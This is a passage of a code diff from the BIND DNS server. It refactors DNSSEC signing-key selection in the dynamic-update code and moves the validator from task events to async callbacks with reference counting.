+			goto next;
+		}
+
+		/* Detect inactive keys */
+		if (!dns_dnssec_keyactive(k->key, now)) {
+			dst_key_setinactive(k->key, true);
+		}
+
+		keys[count] = k->key;
+		k->key = NULL;
+		count++;
+
+	next:
+		ISC_LIST_UNLINK(keylist, k, link);
+		dns_dnsseckey_destroy(mctx, &k);
 	}
+
+	*nkeys = count;
 	return (result);
 }
 
@@ -1089,8 +1103,7 @@ static isc_result_t
 add_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 	 dns_dbversion_t *ver, dns_name_t *name, dns_rdatatype_t type,
 	 dns_diff_t *diff, dst_key_t **keys, unsigned int nkeys,
-	 isc_stdtime_t inception, isc_stdtime_t expire, bool check_ksk,
-	 bool keyset_kskonly) {
+	 isc_stdtime_t inception, isc_stdtime_t expire) {
 	isc_result_t result;
 	dns_dbnode_t *node = NULL;
 	dns_kasp_t *kasp = dns_zone_getkasp(zone);
@@ -1099,14 +1112,12 @@ add_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 	dns_stats_t *dnssecsignstats = dns_zone_getdnssecsignstats(zone);
 	isc_buffer_t buffer;
 	unsigned char data[1024]; /* XXX */
-	unsigned int i, j;
+	unsigned int i;
 	bool added_sig = false;
 	bool use_kasp = false;
 	isc_mem_t *mctx = diff->mctx;
 
 	if (kasp != NULL) {
-		check_ksk = false;
-		keyset_kskonly = true;
 		use_kasp = true;
 	}
 
@@ -1144,44 +1155,6 @@ add_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 			continue;
 		}
 
-		if (check_ksk && !REVOKE(keys[i])) {
-			bool have_ksk, have_nonksk;
-			if (KSK(keys[i])) {
-				have_ksk = true;
-				have_nonksk = false;
-			} else {
-				have_ksk = false;
-				have_nonksk = true;
-			}
-			for (j = 0; j < nkeys; j++) {
-				if (j == i || ALG(keys[i]) != ALG(keys[j])) {
-					continue;
-				}
-
-				/* Don't consider inactive keys, however
-				 * the key may be temporary offline, so do
-				 * consider keys which private key files are
-				 * unavailable.
-				 */
-				if (dst_key_inactive(keys[j])) {
-					continue;
-				}
-
-				if (REVOKE(keys[j])) {
-					continue;
-				}
-				if (KSK(keys[j])) {
-					have_ksk = true;
-				} else {
-					have_nonksk = true;
-				}
-				both = have_ksk && have_nonksk;
-				if (both) {
-					break;
-				}
-			}
-		}
-
 		if (use_kasp) {
 			/*
 			 * A dnssec-policy is found. Check what RRsets this
@@ -1205,10 +1178,7 @@ add_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 				}
 			}
 
-			if (type == dns_rdatatype_dnskey ||
-			    type == dns_rdatatype_cdnskey ||
-			    type == dns_rdatatype_cds)
-			{
+			if (dns_rdatatype_iskeymaterial(type)) {
 				/*
 				 * DNSKEY RRset is signed with KSK.
 				 * CDS and CDNSKEY RRsets too (RFC 7344, 4.1).
@@ -1223,35 +1193,41 @@ add_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 				continue;
 			} else if (zsk &&
 				   !dst_key_is_signing(keys[i], DST_BOOL_ZSK,
-						       inception, &when)) {
+						       inception, &when))
+			{
 				/*
 				 * This key is not active for zone-signing.
 				 */
 				continue;
 			}
-
-			/*
-			 * If this key is revoked, it may only sign the
-			 * DNSKEY RRset.
-			 */
-			if (REVOKE(keys[i]) && type != dns_rdatatype_dnskey) {
-				continue;
-			}
-		} else if (both) {
+		} else if (!REVOKE(keys[i])) {
 			/*
-			 * CDS and CDNSKEY are signed with KSK (RFC 7344, 4.1).
+			 * Don't consider inactive keys, however the KSK may be
+			 * temporary offline, so do consider KSKs which private
+			 * key files are unavailable.
 			 */
-			if (type == dns_rdatatype_dnskey ||
-			    type == dns_rdatatype_cdnskey ||
-			    type == dns_rdatatype_cds)
-			{
-				if (!KSK(keys[i]) && keyset_kskonly) {
+			both = dst_key_have_ksk_and_zsk(
+				keys, nkeys, i, false, KSK(keys[i]),
+				!KSK(keys[i]), NULL, NULL);
+			if (both) {
+				/*
+				 * CDS and CDNSKEY are signed with KSK (RFC
+				 * 7344, 4.1).
+				 */
+				if (dns_rdatatype_iskeymaterial(type)) {
+					if (!KSK(keys[i])) {
+						continue;
+					}
+				} else if (KSK(keys[i])) {
 					continue;
 				}
-			} else if (KSK(keys[i])) {
-				continue;
 			}
-		} else if (REVOKE(keys[i]) && type != dns_rdatatype_dnskey) {
+		}
+
+		/*
+		 * If this key is revoked, it may only sign the DNSKEY RRset.
+		 */
+		if (REVOKE(keys[i]) && type != dns_rdatatype_dnskey) {
 			continue;
 		}
 
@@ -1338,7 +1314,8 @@ del_keysigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 			if (rrsig.keyid == dst_key_id(keys[i])) {
 				found = true;
 				if (!dst_key_isprivate(keys[i]) &&
-				    !dst_key_inactive(keys[i])) {
+				    !dst_key_inactive(keys[i]))
+				{
 					/*
 					 * The re-signing code in zone.c
 					 * will mark this as offline.
@@ -1379,8 +1356,8 @@ static isc_result_t
 add_exposed_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 		 dns_dbversion_t *ver, dns_name_t *name, bool cut,
 		 dns_diff_t *diff, dst_key_t **keys, unsigned int nkeys,
-		 isc_stdtime_t inception, isc_stdtime_t expire, bool check_ksk,
-		 bool keyset_kskonly, unsigned int *sigs) {
+		 isc_stdtime_t inception, isc_stdtime_t expire,
+		 unsigned int *sigs) {
 	isc_result_t result;
 	dns_dbnode_t *node;
 	dns_rdatasetiter_t *iter;
@@ -1395,7 +1372,7 @@ add_exposed_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 	}
 
 	iter = NULL;
-	result = dns_db_allrdatasets(db, node, ver, (isc_stdtime_t)0, &iter);
+	result = dns_db_allrdatasets(db, node, ver, 0, (isc_stdtime_t)0, &iter);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_node;
 	}
@@ -1417,7 +1394,8 @@ add_exposed_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 		 * as they are handled elsewhere.
 		 */
 		if ((type == dns_rdatatype_rrsig) ||
-		    (cut && type != dns_rdatatype_ds)) {
+		    (cut && type != dns_rdatatype_ds))
+		{
 			continue;
 		}
 		result = rrset_exists(db, ver, name, dns_rdatatype_rrsig, type,
@@ -1429,8 +1407,7 @@ add_exposed_sigs(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 			continue;
 		}
 		result = add_sigs(log, zone, db, ver, name, type, diff, keys,
-				  nkeys, inception, expire, check_ksk,
-				  keyset_kskonly);
+				  nkeys, inception, expire);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup_iterator;
 		}
@@ -1480,7 +1457,7 @@ struct dns_update_state {
 	unsigned int nkeys;
 	isc_stdtime_t inception, expire, soaexpire, keyexpire;
 	dns_ttl_t nsecttl;
-	bool check_ksk, keyset_kskonly, build_nsec3;
+	bool build_nsec3;
 	enum {
 		sign_updates,
 		remove_orphaned,
@@ -1551,17 +1528,20 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 		state->nkeys = 0;
 		state->build_nsec3 = false;
 
-		result = find_zone_keys(zone, db, newver, diff->mctx,
-					DNS_MAXZONEKEYS, state->zone_keys,
-					&state->nkeys);
-		if (result != ISC_R_SUCCESS) {
+		result = find_zone_keys(zone, diff->mctx, DNS_MAXZONEKEYS,
+					state->zone_keys, &state->nkeys);
+		if (result == ISC_R_NOSPACE) {
+			update_log(log, zone, ISC_LOG_ERROR,
+				   "too many zone keys for secure "
+				   "dynamic update");
+		} else if (result != ISC_R_SUCCESS) {
 			update_log(log, zone, ISC_LOG_ERROR,
 				   "could not get zone keys for secure "
 				   "dynamic update");
 			goto failure;
 		}
 
-		isc_stdtime_get(&now);
+		now = isc_stdtime_now();
 		state->inception = now - 3600; /* Allow for some clock skew. */
 		state->expire = now +
 				dns__jitter_expire(zone, sigvalidityinterval);
@@ -1573,17 +1553,6 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 			state->keyexpire += now;
 		}
 
-		/*
-		 * Do we look at the KSK flag on the DNSKEY to determining which
-		 * keys sign which RRsets?  First check the zone option then
-		 * check the keys flags to make sure at least one has a ksk set
-		 * and one doesn't.
-		 */
-		state->check_ksk = ((dns_zone_getoptions(zone) &
-				     DNS_ZONEOPT_UPDATECHECKKSK) != 0);
-		state->keyset_kskonly = ((dns_zone_getoptions(zone) &
-					  DNS_ZONEOPT_DNSKEYKSKONLY) != 0);
-
 		/*
 		 * Calculate the NSEC/NSEC3 TTL as a minimum of the SOA TTL and
 		 * MINIMUM field.
@@ -1671,10 +1640,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 						    &flag));
 				if (flag) {
 					isc_stdtime_t exp;
-					if (type == dns_rdatatype_dnskey ||
-					    type == dns_rdatatype_cdnskey ||
-					    type == dns_rdatatype_cds)
-					{
+					if (dns_rdatatype_iskeymaterial(type)) {
 						exp = state->keyexpire;
 					} else if (type == dns_rdatatype_soa) {
 						exp = state->soaexpire;
@@ -1686,16 +1652,15 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 						log, zone, db, newver, name,
 						type, &state->sig_diff,
 						state->zone_keys, state->nkeys,
-						state->inception, exp,
-						state->check_ksk,
-						state->keyset_kskonly));
+						state->inception, exp));
 					sigs++;
 				}
 			skip:
 				/* Skip any other updates to the same RRset. */
 				while (t != NULL &&
 				       dns_name_equal(&t->name, name) &&
-				       t->rdata.type == type) {
+				       t->rdata.type == type)
+				{
 					next = ISC_LIST_NEXT(t, link);
 					ISC_LIST_UNLINK(diff->tuples, t, link);
 					ISC_LIST_APPEND(state->work.tuples, t,
@@ -1711,7 +1676,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 
 		update_log(log, zone, ISC_LOG_DEBUG(3),
 			   "updated data signatures");
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case remove_orphaned:
 		state->state = remove_orphaned;
 
@@ -1743,7 +1708,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 		update_log(log, zone, ISC_LOG_DEBUG(3),
 			   "rebuilding NSEC chain");
 
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case build_chain:
 		state->state = build_chain;
 		/*
@@ -1817,7 +1782,8 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 					   dns_rdatatype_dname, 0,
 					   &dname_exists));
 			if ((ns_exists || dname_exists) ==
-			    (ns_existed || dname_existed)) {
+			    (ns_existed || dname_existed))
+			{
 				continue;
 			}
 			/*
@@ -1833,7 +1799,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 
 		CHECK(uniqify_name_list(&state->affected));
 
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case process_nsec:
 		state->state = process_nsec;
 
@@ -1888,8 +1854,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 					log, zone, db, newver, name, cut,
 					&state->sig_diff, state->zone_keys,
 					state->nkeys, state->inception,
-					state->expire, state->check_ksk,
-					state->keyset_kskonly, &sigs));
+					state->expire, &sigs));
 			}
 		unlink:
 			ISC_LIST_UNLINK(state->affected.tuples, t, link);
@@ -1949,7 +1914,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 		update_log(log, zone, ISC_LOG_DEBUG(3),
 			   "signing rebuilt NSEC chain");
 
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case sign_nsec:
 		state->state = sign_nsec;
 		/* Update RRSIG NSECs. */
@@ -1961,17 +1926,14 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 						dns_rdatatype_nsec, NULL,
 						&state->sig_diff));
 			} else if (t->op == DNS_DIFFOP_ADD) {
-				CHECK(add_sigs(log, zone, db, newver, &t->name,
-					       dns_rdatatype_nsec,
-					       &state->sig_diff,
-					       state->zone_keys, state->nkeys,
-					       state->inception, state->expire,
-					       state->check_ksk,
-					       state->keyset_kskonly));
+				CHECK(add_sigs(
+					log, zone, db, newver, &t->name,
+					dns_rdatatype_nsec, &state->sig_diff,
+					state->zone_keys, state->nkeys,
+					state->inception, state->expire));
 				sigs++;
 			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 			ISC_LIST_UNLINK(state->nsec_mindiff.tuples, t, link);
 			ISC_LIST_APPEND(state->work.tuples, t, link);
@@ -1981,7 +1943,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 		}
 		ISC_LIST_APPENDLIST(state->nsec_mindiff.tuples,
 				    state->work.tuples, link);
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case update_nsec3:
 		state->state = update_nsec3;
 
@@ -2028,7 +1990,8 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 			bool exists, existed;
 
 			if (t->rdata.type == dns_rdatatype_nsec ||
-			    t->rdata.type == dns_rdatatype_rrsig) {
+			    t->rdata.type == dns_rdatatype_rrsig)
+			{
 				t = ISC_LIST_NEXT(t, link);
 				continue;
 			}
@@ -2073,7 +2036,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 			}
 		}
 
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case process_nsec3:
 		state->state = process_nsec3;
 		while ((t = ISC_LIST_HEAD(state->affected.tuples)) != NULL) {
@@ -2095,8 +2058,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 					log, zone, db, newver, name, cut,
 					&state->sig_diff, state->zone_keys,
 					state->nkeys, state->inception,
-					state->expire, state->check_ksk,
-					state->keyset_kskonly, &sigs));
+					state->expire, &sigs));
 				CHECK(dns_nsec3_addnsec3sx(
 					db, newver, name, state->nsecttl,
 					unsecure, privatetype,
@@ -2124,7 +2086,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 		update_log(log, zone, ISC_LOG_DEBUG(3),
 			   "signing rebuilt NSEC3 chain");
 
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case sign_nsec3:
 		state->state = sign_nsec3;
 		/* Update RRSIG NSEC3s. */
@@ -2136,17 +2098,14 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 						dns_rdatatype_nsec3, NULL,
 						&state->sig_diff));
 			} else if (t->op == DNS_DIFFOP_ADD) {
-				CHECK(add_sigs(log, zone, db, newver, &t->name,
-					       dns_rdatatype_nsec3,
-					       &state->sig_diff,
-					       state->zone_keys, state->nkeys,
-					       state->inception, state->expire,
-					       state->check_ksk,
-					       state->keyset_kskonly));
+				CHECK(add_sigs(
+					log, zone, db, newver, &t->name,
+					dns_rdatatype_nsec3, &state->sig_diff,
+					state->zone_keys, state->nkeys,
+					state->inception, state->expire));
 				sigs++;
 			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 			ISC_LIST_UNLINK(state->nsec_mindiff.tuples, t, link);
 			ISC_LIST_APPEND(state->work.tuples, t, link);
@@ -2173,8 +2132,7 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 		INSIST(ISC_LIST_EMPTY(state->nsec_mindiff.tuples));
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 failure:
@@ -2221,10 +2179,10 @@ dns__update_soaserial(uint32_t serial, dns_updatemethod_t method) {
 	case dns_updatemethod_none:
 		return (serial);
 	case dns_updatemethod_unixtime:
-		isc_stdtime_get(&now);
+		now = isc_stdtime_now();
 		return (now);
 	case dns_updatemethod_date:
-		isc_stdtime_get(&now);
+		now = isc_stdtime_now();
 		return (epoch_to_yyyymmdd((time_t)now) * 100);
 	case dns_updatemethod_increment:
 		/* RFC1982 */
@@ -2234,8 +2192,7 @@ dns__update_soaserial(uint32_t serial, dns_updatemethod_t method) {
 		}
 		return (serial);
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -2266,13 +2223,10 @@ dns_update_soaserial(uint32_t serial, dns_updatemethod_t method,
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
-	if (used != NULL) {
-		*used = method;
-	}
+	SET_IF_NOT_NULL(used, method);
 
 	return (new_serial);
 }
diff --git a/lib/dns/validator.c b/lib/dns/validator.c
index 18c35466e8..3b9c8fc5db 100644
--- a/lib/dns/validator.c
+++ b/lib/dns/validator.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,19 +14,21 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/async.h>
 #include <isc/base32.h>
+#include <isc/job.h>
 #include <isc/md.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/string.h>
-#include <isc/task.h>
+#include <isc/tid.h>
 #include <isc/util.h>
 
 #include <dns/client.h>
 #include <dns/db.h>
 #include <dns/dnssec.h>
 #include <dns/ds.h>
-#include <dns/events.h>
 #include <dns/keytable.h>
 #include <dns/keyvalues.h>
 #include <dns/log.h>
@@ -36,7 +40,6 @@
 #include <dns/rdataset.h>
 #include <dns/rdatatype.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/validator.h>
 #include <dns/view.h>
 
@@ -63,11 +66,11 @@
 #define VALIDATOR_MAGIC	   ISC_MAGIC('V', 'a', 'l', '?')
 #define VALID_VALIDATOR(v) ISC_MAGIC_VALID(v, VALIDATOR_MAGIC)
 
-#define VALATTR_SHUTDOWN 0x0001 /*%< Shutting down. */
 #define VALATTR_CANCELED 0x0002 /*%< Canceled. */
 #define VALATTR_TRIEDVERIFY                                    \
 	0x0004			  /*%< We have found a key and \
 				   * have attempted a verify. */
+#define VALATTR_COMPLETE   0x0008 /*%< Completion event sent. */
 #define VALATTR_INSECURITY 0x0010 /*%< Attempting proveunsecure. */
 
 /*!
@@ -96,14 +99,14 @@
 #define FOUNDCLOSEST(val)    ((val->attributes & VALATTR_FOUNDCLOSEST) != 0)
 #define FOUNDOPTOUT(val)     ((val->attributes & VALATTR_FOUNDOPTOUT) != 0)
 
-#define SHUTDOWN(v) (((v)->attributes & VALATTR_SHUTDOWN) != 0)
 #define CANCELED(v) (((v)->attributes & VALATTR_CANCELED) != 0)
+#define COMPLETE(v) (((v)->attributes & VALATTR_COMPLETE) != 0)
 
 #define NEGATIVE(r) (((r)->attributes & DNS_RDATASETATTR_NEGATIVE) != 0)
 #define NXDOMAIN(r) (((r)->attributes & DNS_RDATASETATTR_NXDOMAIN) != 0)
 
 static void
-destroy(dns_validator_t *val);
+destroy_validator(dns_validator_t *val);
 
 static isc_result_t
 select_signing_key(dns_validator_t *val, dns_rdataset_t *rdataset);
@@ -164,13 +167,13 @@ disassociate_rdatasets(dns_validator_t *val) {
 }
 
 /*%
- * Mark the rdatasets in val->event with trust level "answer",
+ * Mark the rdatasets in val->vstat with trust level "answer",
  * indicating that they did not validate, but could be cached as insecure.
  *
  * If we are validating a name that is marked as "must be secure", log a
  * warning and return DNS_R_MUSTBESECURE instead.
  */
-static inline isc_result_t
+static isc_result_t
 markanswer(dns_validator_t *val, const char *where, const char *mbstext) {
 	if (val->mustbesecure && mbstext != NULL) {
 		validator_log(val, ISC_LOG_WARNING,
@@ -179,73 +182,52 @@ markanswer(dns_validator_t *val, const char *where, const char *mbstext) {
 	}
 
 	validator_log(val, ISC_LOG_DEBUG(3), "marking as answer (%s)", where);
-	if (val->event->rdataset != NULL) {
-		dns_rdataset_settrust(val->event->rdataset, dns_trust_answer);
+	if (val->rdataset != NULL) {
+		dns_rdataset_settrust(val->rdataset, dns_trust_answer);
 	}
-	if (val->event->sigrdataset != NULL) {
-		dns_rdataset_settrust(val->event->sigrdataset,
-				      dns_trust_answer);
+	if (val->sigrdataset != NULL) {
+		dns_rdataset_settrust(val->sigrdataset, dns_trust_answer);
 	}
 
 	return (ISC_R_SUCCESS);
 }
 
 /*%
- * Mark the RRsets in val->event with trust level secure.
+ * Mark the RRsets in val->vstat with trust level secure.
  */
-static inline void
-marksecure(dns_validatorevent_t *event) {
-	dns_rdataset_settrust(event->rdataset, dns_trust_secure);
-	if (event->sigrdataset != NULL) {
-		dns_rdataset_settrust(event->sigrdataset, dns_trust_secure);
+static void
+marksecure(dns_validator_t *val) {
+	dns_rdataset_settrust(val->rdataset, dns_trust_secure);
+	if (val->sigrdataset != NULL) {
+		dns_rdataset_settrust(val->sigrdataset, dns_trust_secure);
 	}
-	event->secure = true;
+	val->secure = true;
+}
+
+static void
+validator_done_cb(void *arg) {
+	dns_validator_t *val = arg;
+	val->cb(val);
+	dns_validator_detach(&val);
 }
 
 /*
- * Validator 'val' is finished; send the completion event to the task
+ * Validator 'val' is finished; send the completion event to the loop
  * that called dns_validator_create(), with result `result`.
+ *
+ * Caller must be holding the validator lock.
  */
 static void
 validator_done(dns_validator_t *val, isc_result_t result) {
-	isc_task_t *task;
-
-	if (val->event == NULL) {
+	if (COMPLETE(val)) {
 		return;
 	}
 
-	/*
-	 * Caller must be holding the lock.
-	 */
+	val->attributes |= VALATTR_COMPLETE;
+	val->result = result;
 
-	val->event->result = result;
-	task = val->event->ev_sender;
-	val->event->ev_sender = val;
-	val->event->ev_type = DNS_EVENT_VALIDATORDONE;
-	val->event->ev_action = val->action;
-	val->event->ev_arg = val->arg;
-	isc_task_sendanddetach(&task, (isc_event_t **)&val->event);
-}
-
-/*
- * Called when deciding whether to destroy validator 'val'.
- */
-static inline bool
-exit_check(dns_validator_t *val) {
-	/*
-	 * Caller must be holding the lock.
-	 */
-	if (!SHUTDOWN(val)) {
-		return (false);
-	}
-
-	INSIST(val->event == NULL);
-
-	if (val->fetch != NULL || val->subvalidator != NULL) {
-		return (false);
-	}
-
-	return (true);
+	dns_validator_ref(val);
+	isc_async_run(val->loop, validator_done_cb, val);
 }
 
 /*%
@@ -373,39 +355,30 @@ isdelegation(dns_name_t *name, dns_rdataset_t *rdataset,
  * If not found, fail the validation process.
  */
 static void
-fetch_callback_dnskey(isc_task_t *task, isc_event_t *event) {
-	dns_fetchevent_t *devent;
-	dns_validator_t *val;
-	dns_rdataset_t *rdataset;
-	bool want_destroy;
+fetch_callback_dnskey(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	dns_validator_t *val = resp->arg;
+	dns_rdataset_t *rdataset = &val->frdataset;
+	isc_result_t eresult = resp->result;
 	isc_result_t result;
-	isc_result_t eresult;
 	isc_result_t saved_result;
-	dns_fetch_t *fetch;
+	dns_fetch_t *fetch = NULL;
 
-	UNUSED(task);
-	INSIST(event->ev_type == DNS_EVENT_FETCHDONE);
-	devent = (dns_fetchevent_t *)event;
-	val = devent->ev_arg;
-	rdataset = &val->frdataset;
-	eresult = devent->result;
+	INSIST(resp->type == FETCHDONE);
 
 	/* Free resources which are not of interest. */
-	if (devent->node != NULL) {
-		dns_db_detachnode(devent->db, &devent->node);
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (devent->db != NULL) {
-		dns_db_detach(&devent->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
 	if (dns_rdataset_isassociated(&val->fsigrdataset)) {
 		dns_rdataset_disassociate(&val->fsigrdataset);
 	}
-	isc_event_free(&event);
-
-	INSIST(val->event != NULL);
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 
 	validator_log(val, ISC_LOG_DEBUG(3), "in fetch_callback_dnskey");
-	LOCK(&val->lock);
 	fetch = val->fetch;
 	val->fetch = NULL;
 	if (CANCELED(val)) {
@@ -423,7 +396,8 @@ fetch_callback_dnskey(isc_task_t *task, isc_event_t *event) {
 		 * Only extract the dst key if the keyset exists and is secure.
 		 */
 		if (eresult == ISC_R_SUCCESS &&
-		    rdataset->trust >= dns_trust_secure) {
+		    rdataset->trust >= dns_trust_secure)
+		{
 			result = select_signing_key(val, rdataset);
 			if (result == ISC_R_SUCCESS) {
 				val->keyset = &val->frdataset;
@@ -431,7 +405,8 @@ fetch_callback_dnskey(isc_task_t *task, isc_event_t *event) {
 		}
 		result = validate_answer(val, true);
 		if (result == DNS_R_NOVALIDSIG &&
-		    (val->attributes & VALATTR_TRIEDVERIFY) == 0) {
+		    (val->attributes & VALATTR_TRIEDVERIFY) == 0)
+		{
 			saved_result = result;
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "falling back to insecurity proof");
@@ -454,16 +429,11 @@ fetch_callback_dnskey(isc_task_t *task, isc_event_t *event) {
 		}
 	}
 
-	want_destroy = exit_check(val);
-	UNLOCK(&val->lock);
-
 	if (fetch != NULL) {
 		dns_resolver_destroyfetch(&fetch);
 	}
 
-	if (want_destroy) {
-		destroy(val);
-	}
+	dns_validator_detach(&val);
 }
 
 /*%
@@ -471,21 +441,16 @@ fetch_callback_dnskey(isc_task_t *task, isc_event_t *event) {
  * walking a trust chain, or an insecurity proof.
  */
 static void
-fetch_callback_ds(isc_task_t *task, isc_event_t *event) {
-	dns_fetchevent_t *devent;
-	dns_validator_t *val;
-	dns_rdataset_t *rdataset;
-	bool want_destroy, trustchain;
+fetch_callback_ds(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	dns_validator_t *val = resp->arg;
+	dns_rdataset_t *rdataset = &val->frdataset;
+	isc_result_t eresult = resp->result;
 	isc_result_t result;
-	isc_result_t eresult;
-	dns_fetch_t *fetch;
+	dns_fetch_t *fetch = NULL;
+	bool trustchain;
 
-	UNUSED(task);
-	INSIST(event->ev_type == DNS_EVENT_FETCHDONE);
-	devent = (dns_fetchevent_t *)event;
-	val = devent->ev_arg;
-	rdataset = &val->frdataset;
-	eresult = devent->result;
+	INSIST(resp->type == FETCHDONE);
 
 	/*
 	 * Set 'trustchain' to true if we're walking a chain of
@@ -494,20 +459,17 @@ fetch_callback_ds(isc_task_t *task, isc_event_t *event) {
 	trustchain = ((val->attributes & VALATTR_INSECURITY) == 0);
 
 	/* Free resources which are not of interest. */
-	if (devent->node != NULL) {
-		dns_db_detachnode(devent->db, &devent->node);
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (devent->db != NULL) {
-		dns_db_detach(&devent->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
 	if (dns_rdataset_isassociated(&val->fsigrdataset)) {
 		dns_rdataset_disassociate(&val->fsigrdataset);
 	}
 
-	INSIST(val->event != NULL);
-
 	validator_log(val, ISC_LOG_DEBUG(3), "in fetch_callback_ds");
-	LOCK(&val->lock);
 	fetch = val->fetch;
 	val->fetch = NULL;
 
@@ -527,7 +489,7 @@ fetch_callback_ds(isc_task_t *task, isc_event_t *event) {
 			goto unexpected;
 		}
 
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case ISC_R_SUCCESS:
 		if (trustchain) {
 			/*
@@ -568,7 +530,7 @@ fetch_callback_ds(isc_task_t *task, isc_event_t *event) {
 			 */
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "falling back to insecurity proof (%s)",
-				      dns_result_totext(eresult));
+				      isc_result_totext(eresult));
 			result = proveunsecure(val, false, false);
 			if (result != DNS_R_WAIT) {
 				validator_done(val, result);
@@ -576,8 +538,8 @@ fetch_callback_ds(isc_task_t *task, isc_event_t *event) {
 		} else if (eresult == DNS_R_SERVFAIL) {
 			goto unexpected;
 		} else if (eresult != DNS_R_CNAME &&
-			   isdelegation(dns_fixedname_name(&devent->foundname),
-					&val->frdataset, eresult))
+			   isdelegation(resp->foundname, &val->frdataset,
+					eresult))
 		{
 			/*
 			 * Failed to find a DS while trying to prove
@@ -612,17 +574,13 @@ fetch_callback_ds(isc_task_t *task, isc_event_t *event) {
 	}
 done:
 
-	isc_event_free(&event);
-	want_destroy = exit_check(val);
-	UNLOCK(&val->lock);
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 
 	if (fetch != NULL) {
 		dns_resolver_destroyfetch(&fetch);
 	}
 
-	if (want_destroy) {
-		destroy(val);
-	}
+	dns_validator_detach(&val);
 }
 
 /*%
@@ -631,28 +589,17 @@ fetch_callback_ds(isc_task_t *task, isc_event_t *event) {
  * Resumes the stalled validation process.
  */
 static void
-validator_callback_dnskey(isc_task_t *task, isc_event_t *event) {
-	dns_validatorevent_t *devent;
-	dns_validator_t *val;
-	bool want_destroy;
+validator_callback_dnskey(void *arg) {
+	dns_validator_t *subvalidator = (dns_validator_t *)arg;
+	dns_validator_t *val = subvalidator->parent;
 	isc_result_t result;
-	isc_result_t eresult;
+	isc_result_t eresult = subvalidator->result;
 	isc_result_t saved_result;
 
-	UNUSED(task);
-	INSIST(event->ev_type == DNS_EVENT_VALIDATORDONE);
-
-	devent = (dns_validatorevent_t *)event;
-	val = devent->ev_arg;
-	eresult = devent->result;
-
-	isc_event_free(&event);
-	dns_validator_destroy(&val->subvalidator);
-
-	INSIST(val->event != NULL);
